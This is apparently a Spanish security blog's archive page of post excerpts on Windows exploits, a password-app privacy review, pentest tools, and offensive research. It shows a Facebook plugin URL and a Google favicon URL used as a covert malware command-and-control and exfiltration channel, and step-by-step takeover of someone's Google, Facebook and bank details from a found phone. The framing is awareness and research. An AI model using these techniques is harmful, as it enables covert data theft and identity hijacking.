Win7, 8, 10, 2008, 2012 32/64bits exploit programador de tareas vía ALPC (CVE-2018–8440)

Hace ya un par de meses, el 27 de agosto de 2018, la investigadora de seguridad “SandboxEscaper” liberó un exploit de escalda de privilegios a SYSTEM para entornos Windows 10 64bits y que fue catalogada como CVE-2018-8440, con su consecuente parche en septiembre. Desde entonces sentía curiosidad por darle un vistazo al exploit y probarlo en otras versiones de Windows. Inicialmente, como es normal, no funcionó. Busqué por la red si existía alguna PoC modificada que lo hiciera, pero salvo algunos tweets con alguna pista, no encontré nada realmente funcional, así que me decidí a ver que se podía hacer. Después de echarle algunas horas y de varias broncas con la parienta, a continuación os muestro mi aproximación para portar el exploit a Win7, 8, 10, 2012 32/64bits, haciéndolo más generalista y estable que la versión original.

En primer lugar, vamos a ver en que consiste la vulnerabilidad y posteriormente el exploit. No voy a profundizar en ello ya que numerosos blogs ya han comentado el problema. Por último detallaremos la investigación realizada hasta llegar a hacer el exploit portable. [Read more…]

Kypass para iOS. ¿Están mis contraseñas seguras?

Todos somos conocedores del valor de nuestras credenciales o contraseñas, esas llaves que nos dan acceso a parte de nuestra vida digital. No es extraño encontrarse durante los procesos de pentesting los típicos documentos “.txt”, Excel o Word con todos los passwords de acceso a los sistemas TI. Es más, cuando parte del proceso de intrusión se focaliza en el departamento financiero es habitual ver como un señor director contable guarda todas las contraseñas de acceso a las cuentas bancarias en un fichero de texto plano, adjuntando para mayor disfrute una copia escaneada de la tarjeta de coordenadas (ver Barbarities I: Banca electrónica).

Es por eso que siempre se recomienda el uso de aplicaciones de gestión de contraseñas que permitan almacenar de forma segura las llaves del reino. En este punto entraría ya en juego seleccionar, según criterios de confiabilidad si no te la quieres auditar tú), qué aplicación debe ser la encargada de cifrar nuestra información confidencial. Son numerosas las herramientas (de pago o de software libre) disponibles en el mercado y una de ellas puede ser la popular Keepass bajo licencia GNU. Según su página Web, el cifrado de la base de datos se realiza con un algoritmo AES o Twofish con un tamaño de bloque de 128bits y una longitud de clave de 256 bits, seems good.

Dada la popularidad que ha tomado esta herramienta, han surgido una serie de ports para diferentes operativos y dispositivos que, aprovechando el tirón de esta, tratan de hacer su negocio.

keepass-ios

keepass-ios-2En especial nos vamos a centrar en la aplicación de pago para iOS Kypass, que por el módico precio de 6,99€, promete dotar de un nivel de seguridad similar a “Fort Knox” a nuestras contraseñas.

Llegados a este punto, ¿qué requerimientos de seguridad le exigiríamos a un software de este tipo? Por ejemplo, ¿le exigiríamos que no realizara conexiones a Internet de forma no cifrada? Como por ejemplo…

POST http://www.kyuran.be

Aparentemente, estas peticiones se realizan de forma semanal a la web de los desarrolladores de la aplicación (invito al lector a visitarla). Os preguntaréis: ¿Para qué? ¿Para comprobar la versión y saber si se ha de actualizar? ¿Esto no se debería hacer a través del AppStore?

Veamos un poco más en detalle la información que remite. Pese a que las peticiones son de tipo POST, como parámetros en la URL vemos lo siguiente (separado para mejor lectura).

http://www.kyuran.be:3128/iphone/api.php?
UIDeviceName=iPhone+de+XXX
bundle=be.kyuran.kypass2
token=b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c
s=10.0.2
v=3.7+(2764)
cmd=join

¿Para qué necesita una aplicación de almacenamiento de contraseñas remitir a los desarrolladores información como el nombre del teléfono, el nombre del paquete, el identificador único del terminal, la versión del operativo o el comando que ha de ejecutar contra el servidor (en este caso join)?

Destacar que como payload POST no se ha identificado el envío de otro tipo información pero quién sabe qué otros comandos permitirá el parámetro “cmd=” al margen de “join”.

Concluyendo, y como se ha comentado al principio del artículo, uno no dispone de todo el tiempo del mundo para auditar cada software que utiliza y por lo tanto entra en juego la confiabilidad basada en: el feeling que te pueda dar el desarrollador, si el código es libre o no, comentarios o popularidad de la herramienta dentro del mundo de la seguridad, etc.

Desde mi punto de vista personal, dada la criticidad de este tipo de software y basándome en esa comentada confiabilidad, optaría por otras soluciones de almacenamiento de contraseñas.

RootedCON Valencia Labs

logo_vlc

En este caso el dicho popular «segundas partes nunca fueron buenas» no se cumplió. Repitiendo el éxito del año pasado la organización de la rooted trajo a tierras valencianas un buen elenco de profesionales de la seguridad para presentar sus últimos trabajos. Como en años anteriores, S2 Grupo ha participado como espónsor del congreso, mostrando así nuestro compromiso con la seguridad.

[Read more…]

OpenDLP para pentesters

odlp0Ser administrador del dominio o disponer de credenciales de acceso con máximos privilegios a repositorios de ficheros, bases de datos o sistemas ERP no sirve de mucho a la hora de plasmar los riesgos de la organización auditada en un informe, ya que «negocio», muchas veces, no concibe las consecuencias que puede suponer el disponer de tales capacidades.

Es por eso que después de la fase de explotación y elevación de privilegios, comienza desde mi punto de vista la más importante de todas, la de obtención de información y toma de evidencias. De nada sirve conseguir ser administrador de un dominio Windows si no se pueden obtener datos sensibles o ejecutar acciones que puedan suponer un impacto para el auditado. Es en este momento donde entra en juego esta simple pero potentísima herramienta: OpenDLP.

Este software, que se despliega mediante un GUI Web en la máquina del pentester, permite realizar búsquedas masivas de información en miles de equipos de forma simultánea y con una baja carga, tanto para la máquina objetivo como para el equipo del auditor. A diferencia del buscador de Windows que identifica los patrones de búsqueda en los nombres de los documentos, OpenDLP permite inspeccionar el contenido de los ficheros mediante expresiones regulares. Como su nombre indica es un DLP o herramienta de prevención de fuga de información, pero la verdad es que dista mucho de las capacidades de las soluciones comerciales, por lo que para este propósito no lo recomendaría. Sin embargo descaradamente, OpenDLP ha sido desarrollado para cubrir la fase comentada anteriormente, dentro de un test de intrusión.

[Read more…]

Barbarities I: Banca electrónica

– Con este post me gustaría inaugurar una nueva sección en SAW llamada Barbarities, destinada a albergar cual pozo ciego, todas aquellas atrocidades que desde el punto de vista de seguridad uno ha ido viendo con el paso de los años. Se anima al lector a que comparta sus experiencias –

Barbarities… Hoy: La banca electrónica.

Los bancos, dentro de lo que cabe, hacen un esfuerzo por entregar a sus clientes medidas de protección ante el fraude y robo online a la hora de operar a través de sus páginas web o apps móviles. Códigos de validación de transacción por SMS, uso de https (qué menos…), teclados virtuales anti Click-hacking o tarjetas de coordenadas son solo algunos ejemplos de estas protecciones.

[Read more…]

APT: bot exfiltration

Dentro del mundo de las amenazas avanzadas persistentes o APTs, juegan un papel muy importante las técnicas utilizadas por los artefactos malware, para comunicarse y exfiltrar información a través de los C2s (Command & Control). En este aspecto existen tantas formas como imaginación pueda aportar el atacante y como protocolos y servicios existan. Un pequeño ejemplo de los “trucos” para enmascarar el tráfico ilegítimo como información aparentemente normal son:

  • Peticiones HTTP a páginas aparentemente lícitas, las cuales han sido crackeadas, albergando código del C2.
  • Sobreutilización del protocolo DNS para exfiltrar y comunicarse con los atacantes.
  • Sobreutilización de Google Calendar.

La lista anterior puede ser tan larga casi como campañas APT han existido y existen. En este post me gustaría aportar una nueva forma de exfiltración en la cual el equipo infectado y el C2 en ningún momento intercambian información directamente, sino que lo hacen a través de la legión de bots que los grandes gigantes de Internet disponen. Estos son Google, Facebook o Twitter entre otros.

¿Para qué sirven o qué función tienen estos bots? En el caso de Facebook, esta compañía dispone de una serie de agentes utilizados para realizar una previsualización del contenido de un enlace cuando se postea un comentario en esta red social. De esta manera, es posible presentar al usuario de una forma más amigable el contenido Web enlazado. Así, cuando el enlace es recibido por Facebook éste «ordena» a sus bots que visiten dicha URL extrayendo información de la web asociada.

El lector ya se habrá dado cuenta que controlando la URL a la cual queremos que los bots se conecten, disponemos de una forma de remitir información a un dominio propiedad del atacante, redirigiendo la petición a través de Facebook. De esta manera, ya tenemos el primer canal de comunicación “Equipo infectado” -> “C2”. Esta petición pasará totalmente desapercibida para los posibles analistas de seguridad del organismo víctima, ya que realmente son peticiones realizadas contra la red social.

El primer impedimento encontrado para ejecutar la redirección fue que necesitaba tener una cuenta de Facebook válida y estar autenticado para poder postear. Revisando un poco más a fondo por la documentación del “Caralibro” encontré la solución para poder postear sin estar autenticado. Esa magia la aportó la sección de “Developers”. A continuación, os dejo la petición GET para controlar los bots de Facebook a vuestro antojo, visitando todo aquello que vosotros les remitáis.

https://www.facebook.com/plugins/comments.php
?api_key=113869198637480
&channel_url=http://static.ak.fbcdn.net/connect/xd_proxy.php?version=3#cb=f10df33f48&
origin=http://developers.facebook.com/f29957fd8&relation=parent.parent&transport=postmessage
&href=DOMINIO A VISITAR
&locale=en_US
&numposts=2
&sdk=joey
&width=500

Un avispado ya se habrá dado cuenta que esto no sólo puede ser utilizado para exfiltrar información sino para por ejemplo realizar ataques de DoS encubiertos o aumentar contadores de visitas. Como ejemplo, os dejo el log de mi apache, tras decirle a Facebook que visite mi web.

66.220.152.118 - - [30/Oct/2014:11:44:23 +0100] "GET /kaka333333339 HTTP/1.1" 404 508 "-" 
   "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:16 +0100] "GET / HTTP/1.1" 206 3008 "-"
   "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/btn_3.jpg HTTP/1.1" 206 1227 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
       (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.118 - - [30/Oct/2014:11:45:17 +0100] "GET /images/lines-09.jpg HTTP/1.1" 206 654 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/spotlight.jpg HTTP/1.1" 206 2582 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/btn_4.jpg HTTP/1.1" 206 1356 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.118 - - [30/Oct/2014:11:45:17 +0100] "GET /images/welcome-18.jpg HTTP/1.1" 206 8889 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1      
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/welcome.jpg HTTP/1.1" 206 3987 
   "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.112 - - [30/Oct/2014:11:45:17 +0100] "GET /images/lines-11.jpg HTTP/1.1" 206 654 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.117 - - [30/Oct/2014:11:45:17 +0100] "GET /images/services.jpg HTTP/1.1" 206 2794 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.118 - - [30/Oct/2014:11:44:23 +0100] "GET /kaka333333339 HTTP/1.1" 404 508 "-" 
    "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:16 +0100] "GET / HTTP/1.1" 206 3008 "-" 
   "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/btn_3.jpg HTTP/1.1" 206 1227 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
       (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.118 - - [30/Oct/2014:11:45:17 +0100] "GET /images/lines-09.jpg HTTP/1.1" 206 654 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
       (+http://www.facebook.com/externalhit_uatext.php)"

La verdad es que se puede conseguir una buena amplificación, ya que una sola petición a Facebook generó 43 GETs de 10 bots distintos a la web destino. Pero no quiero desviarme del tema, que estamos a APTs.

Ahora que tenemos la forma de exfiltrar necesitamos poder remitir comandos de control a los equipos infectados en la organización víctima. Para esta parte nos van a ayudar los bots de Google, los cuales también podemos controlar para que no sólo visiten lo que nosotros queramos sino que además le remitan por nosotros a los equipos infectados las ordenes a realizar.

Normalmente cuando un C2 quiere ejecutar un comando en la víctima la comunicación no se hace en el sentido C2 -> “equipo infectado” sino al revés, siendo el portador del malware el que inicia comunicación.

Pues bien, Google dispone de una url por la que, dado un dominio, ésta te devuelve el favicon del mismo, lo que resulta perfecto para remitir en el mismo las órdenes a ejecutar en el equipo infectado.

http://www.google.com/s2/favicons?domain=DOMINIO-A-VISITAR

Una vez ejecutada, podemos ver en el log del C2 la siguiente petición realizada por el bot:

66.249.93.181 - - [31/Oct/2014:13:36:22 +0100] "GET / HTTP/1.1" 200 2961 "-" 
   "Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0 Google favicon"
66.249.93.178 - - [31/Oct/2014:13:36:23 +0100] "GET /favicon.ico HTTP/1.1" 200 1703 "-" 
   "Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0 Google favicon"

En este favicon podemos, por ejemplo con técnicas estenográficas, incluir la información de control remitida al equipo infectado. Así pues, tenemos establecida una comunicación bidireccional con los C2 sin establecer en ningún momento un canal directo entre equipos infectados y equipos de mando y control, perfecto para pasar desapercibidos.

Cómo secuestrar la identidad digital de una persona (III)

Seguimos con la sangría, después de suplantar su identidad en Gmail, en Facebook y en Spotify, en las dos entradas anteriores de esta serie.

Ahora vamos ahora a por su operador móvil, en este punto, el proceso de recuperación de contraseña es todavía más fácil, ya que nos va a remitir la compañía ¡un SMS gratuito! (¡bien! por lo menos no le cobraran al pobre chaval), mediante el cual se podrá acceder a la parte de gestión de la cuenta.

Y… ¿qué se puede hacer en la parte de clientes…? No me va hacer falta ni escribirlo ahí lo tienen:

De este servicio nos puede interesar la obtención de su DNI, para hacer posibles logins en otras Webs o incluso sustraer parte de su número de cuenta bancaría.

¿Cómo obtenemos su cuenta bancaria completa? Pues accediendo simplemente a un par de servicios donde venga recogida. Lo de un par es porque normalmente esa información va enmascarada en parte con una serie de ****, pero lo bueno es que cada proveedor (página) tapa una parte, aquí tenéis un ejemplo de Pepephone.

No voy a comentar ni siquiera el peligro que tiene hacerse con la cuanta de Amazon… pero ahí va lo que necesitas para “recuperar/secuestrar” una cuenta…

Por último porque esto puede ser un no parar, vamos a por los servicios de la administración pública 060.es, esto es lo necesario para poder recuperar la contraseña del usuario:

Seguramente que a nuestros lectores, llegado a este punto, se le ocurren mil sitios/servicios más que se pueden suplantar o secuestrar, pudiendo hacer mucho daño a una simple persona que tan solo había ido al cine a ver su película favorita.

Recordar también, la importancia de establecer un código o patrón de acceso al terminal y proceder a su borrado remoto en caso de pérdida.

Cómo secuestrar la identidad digital de una persona (II)

Siguiendo desde donde nos quedamos con la anterior entrada: Cómo secuestrar la identidad digital de una persona (I).

¿Y qué tal si para probar compramos un Nexus 5? Tras hacer login en la web de Google Wallet y añadir una nueva dirección de envío (la mía claro), procedemos a hacer la compra:

Ya tengo un segundo móvil nuevo, pero continuemos para bingo, lo siguiente que haríamos es secuestrarle las cuentas de sus redes sociales, por ejemplo vamos a probar con Facebook, siendo aplicable al resto de ellas (LinkedIn, Twitter…).

Aquí podemos hacer 2 cosas para obtener el usuario de Facebook, o bien mirarlo en la propia aplicación del móvil sustraído o utilizar un pequeño truco en la página web de esta red social. El truco consiste en dado un correo electrónico obtener su usuario asociado, utilizando para ello el formulario de “¿Has olvidado tu contraseña?”

Como ejemplo he utilizado un correo electrónico totalmente aleatorio peter12@gmail.com el cual dada la gran cantidad de usuarios que Facebook posee existe como perfil. Animo al lector cuando se aburra a introducir algunos de forma aleatoria, suele ser interesante ver las fotos y nombres que la gente se pone.

En nuestro caso no hubiéramos puesto el correo de “peter12” sino la cuenta de Gmail obtenida del teléfono. Como pueden ver en la imagen anterior, en la segunda opción nos invita a enviarnos un enlace de cambio de contraseña a nuestra cuenta de correo previamente secuestrada. Magnífico ya tenemos su Facebook, nuevamente ¿qué podemos hacer con una cuenta de Facebook…? Pues en primer lugar tocarle el bolsillo por ejemplo comprando en su nombre servicios de esta red (siempre que tuviera claro, la tarjeta de crédito previamente introducida).

Continuamos para Bingo… ¿Qué más se puede hacer con una cuenta de Facebook?, pues como esto de la autenticación con una única cuenta está de moda y gracias a esta red social es posible hacer login con sus credenciales en numerosas Webs, vamos por ejemplo a secuestrarle su cuenta de Spotify. Destacar que podríamos hacernos con cualquier servicio que utilice Facebook como validador.

Pero no todo queda aquí, ¿y si vamos ahora a por su operador móvil?

Más información en la próxima entrada.

Cómo secuestrar la identidad digital de una persona (I)

Hoy les vamos a mostrar el impacto que tiene perder su terminal móvil Android y no disponer de un código de seguridad o patrón de bloqueo robustos. Como se pueden imaginar por el título del post, la consecuencia va a ser el secuestro o suplantación de la identidad digital de la persona afectada. Comencemos…

Supongamos que soy una persona terriblemente malévola y que me he encontrado un teléfono Samsung Galaxy S4 en una butaca a la salida del cine. Este smartphone no dispone de bloqueo, por lo que a priori, lo primero que se me ocurre es que puedo llamar a mi novia en USA sin pagar ni un céntimo. Pues bien, esto es de lo mejor que le podría pasar a la pobre persona que ha perdido una parte de su cuerpo. Digo esto porque hoy en día nuestra vida completa la llevamos en el bolsillo convirtiéndose en una parte más de nuestro organismo, creando una necesidad que roza lo absurdo (conozco gente que duerme abrazada a su teléfono).

Lo siguiente que se me ocurre que se podría hacer es robar la cuenta de Gmail/Google de la siguiente manera:

    1. Obtengo la dirección de correo electrónico asociada en el terminal móvil, simplemente abriendo la aplicación de Gmail.

    2. Lanzamos los formularios de recuperación de contraseña a través de un navegador web en un ordenador. Haciendo click en ¿Necesitas ayuda? y posteriormente en “he olvidado mi contraseña”, le introducimos el correo electrónico que hemos obtenido en el paso 1.

    3. El asistente nos pregunta si recordamos alguna contraseña anterior, por lo que le diremos que “No lo sé”.

    4. A continuación Google nos deja elegir entre enviarnos a otra cuenta de correo electrónico el proceso de recuperación o… continuar a través del teléfono móvil asociado a la cuenta. Pincharemos en esta última.

    5. En este punto en nuestro ordenador aparece un aviso indicando que debemos autorizar a través del móvil, el cambio de contraseña. Siendo esta solicitud válida durante 10 minutos.

    6. Al instante en el terminal sustraído aparecen una serie de mensajes como los siguientes:

    7. Tras simplemente darle a “Permitir” podemos establecer la contraseña que nosotros queramos en el ordenador,obteniendo el control total de la cuenta de Google.

¿Pero que podemos hacer con una cuenta de Google? Por el momento acceder a todos los servicios asociados: Google+, GoogleDocs, Gmail, etc. Pero quizá uno de los más interesantes para un atacante pueda ser el Google Wallet, el cual te permite comprar productos, como: teléfonos móviles, tabletas, música o aplicaciones entre otros.

¿Interesante?

Seguiremos desde este punto en la próxima entrada.

Vigilancia digital en la coronación de Felipe VI

Hemos estado viendo durante estos últimos días un amplio despliegue de seguridad entorno a la coronación de Felipe VI como nuevo rey de España. Francotiradores, equipos de artificieros/Tedax, Guardia civil y no me extrañaría, GEAS por las alcantarillas de Madrid. Todos ellos ejerciendo su trabajo para garantizar la seguridad de la corona. ¿Pero qué ocurre con el panorama digital? , ¿Qué ocurre en el campo de batalla de los bits?, ¿Por qué es necesario ampliar el espectro de protección al entorno virtual?

En un contexto más directo con el proceso in situ de la proclamación, imaginemos por el momento que algún grupo contrario a la monarquía, pudiera acceder a la red informática del congreso de los diputados y manipular el audio de la sala reproduciendo constantemente el “Himno de Riego”, o por ejemplo controlar a voluntad el alumbrado de la sala mientras el nuevo rey recibe su corona, convirtiendo la sala en una auténtica discoteca de alto standing. O puede ser más simple todavía, realizar una denegación de servicio sobre las infraestructuras de comunicaciones y dejar sin señal de transmisión a los medios que cubran el evento.

Los riesgos directos son múltiples pero no hay que descuidar los indirectos, es decir aquellos que pueden afectar a la imagen de la corona, como por ejemplo la modificación de su famosa página web o incluso los que no son directamente relacionados con la familia real, como pueden ser los servicios digitales de instituciones públicas o fuerzas y cuerpos de seguridad del estado.

Es por eso que durante estos días no solo hay que tener en cuenta la seguridad física del evento sino la digital ya que en muchas ocasiones esta puede sobrepasar el terreno virtual, y sino péguenle un vistazo a este interesante artículo de la revista Wired.